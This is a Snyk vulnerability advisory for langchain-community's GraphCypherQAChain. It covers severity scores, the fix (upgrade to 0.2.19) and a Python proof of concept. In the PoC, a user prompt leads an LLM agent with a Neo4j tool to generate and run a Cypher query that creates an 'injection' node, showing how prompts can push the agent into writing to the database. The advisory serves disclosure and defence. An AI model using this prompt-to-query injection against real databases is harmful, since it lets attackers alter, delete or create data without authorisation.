SQL Injection Affecting langchain-community package, versions [0.2.5,0.2.19)


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.09% (39th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-LANGCHAINCOMMUNITY-8310287
  • published 30 Oct 2024
  • disclosed 29 Oct 2024
  • credit Liad Levy

How to fix?

Upgrade langchain-community to version 0.2.19 or higher.

Overview

Affected versions of this package are vulnerable to SQL Injection through the GraphCypherQAChain class. An attacker can manipulate, delete, or create data, disrupt services, and compromise database integrity by injecting malicious SQL commands into prompts.

Note: This vulnerability impacts LangChain developers who:

  1. Have not specified appropriate RBAC controls for their application

  2. Have exposed an endpoint that accepts inputs from a user

PoC

import os
from langchain_openai import AzureChatOpenAI
from langchain.chains import GraphCypherQAChain
from langchain.agents import create_openai_functions_agent, Tool, AgentExecutor
from langchain import hub
from dotenv import load_dotenv
from langchain_community.graphs import Neo4jGraph




load_dotenv()


# Set up Neo4j connection
neo4j_uri = "bolt://localhost:7687"
neo4j_user = "neo4j"
neo4j_password = "password"




graph = Neo4jGraph(
   url=neo4j_uri,
   username=neo4j_user,
   password=neo4j_password,
   database="neo4j",
   enhanced_schema=True,
)




cypher_chain = GraphCypherQAChain.from_llm(
   cypher_llm=AzureChatOpenAI(
       deployment_name=os.getenv("AZURE_CHAT_DEPLOYMENT"),
       azure_endpoint=os.getenv("AZURE_ENDPOINT"),
       openai_api_key=os.getenv("AZURE_API_KEY"),
       api_version="2024-02-01",
       temperature=0
   ),
   qa_llm=AzureChatOpenAI(
       deployment_name=os.getenv("AZURE_CHAT_DEPLOYMENT"),
       azure_endpoint=os.getenv("AZURE_ENDPOINT"),
       openai_api_key=os.getenv("AZURE_API_KEY"),
       api_version="2024-02-01",
       temperature=0
   ),
   graph=graph,
   verbose=True,
)


tools = [
   Tool(
       name="Graph",
       func=cypher_chain.invoke,
       description="""Useful to create cypher queries for Neo4j graph database."""
   ),
]


prompt = hub.pull("hwchase17/openai-functions-agent")
agent = create_openai_functions_agent(
   AzureChatOpenAI(
       deployment_name=os.getenv("AZURE_CHAT_DEPLOYMENT"),
       azure_endpoint=os.getenv("AZURE_ENDPOINT"),
       openai_api_key=os.getenv("AZURE_API_KEY"),
       api_version="2024-02-01",
       temperature=0
   ), tools, prompt
)


agent_executor = AgentExecutor(agent=agent, tools=tools, verbose=True)


# Query the agent
response = agent_executor.invoke({"input": "Generate a Cypher query to create a node with the label 'injection' and the name 'SecureYourPrompts'. Return only the Cypher query, without any additional text or description."})

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
2.1 low
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    Present
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    Low
  • Integrity (VI)
    Low
  • Availability (VA)
    Low
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None